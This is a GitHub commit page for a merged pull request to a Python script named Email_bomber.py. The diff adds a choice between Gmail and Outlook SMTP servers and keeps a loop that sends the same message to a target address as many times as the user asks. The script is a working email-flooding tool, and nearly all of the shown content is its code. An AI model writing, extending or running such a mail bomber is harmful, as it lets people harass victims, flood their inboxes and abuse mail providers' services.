Merge pull request #33 from xyzricky/master

Update Email_bomber.py
This commit is contained in:
Sameer Bhatt (debugger) 2020-10-02 21:56:13 +05:30 committed by GitHub
commit 346dfdd855
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -14,14 +14,22 @@ try:
message = input("Enter Message:") message = input("Enter Message:")
counter = int(input("How many message you want to send?:")) counter = int(input("How many message you want to send?:"))
# gmail of outlook
s_ = input('Select the service provider (Gmail / Outlook): ').lower()
if s_ == "gmail":
mail = smtplib.SMTP('smtp.gmail.com',587)
elif s_ == "outlook":
mail = smtplib.SMTP('smtp.office365.com',587)
for x in range(0,counter): for x in range(0,counter):
print("Number of Message Sent : ", x+1) print("Number of Message Sent : ", x+1)
mail = smtplib.SMTP('smtp.gmail.com',587)
mail.ehlo() mail.ehlo()
mail.starttls() mail.starttls()
mail.login(email,password) mail.login(email,password)
mail.sendmail(email,bomb_email,message) mail.sendmail(email,bomb_email,message)
time.sleep(1) time.sleep(1)
mail.close() mail.close()
except Exception as e: except Exception as e:
print("Something is wrong, please Re-try Again with Valid input.") print("Something is wrong, please Re-try Again with Valid input.")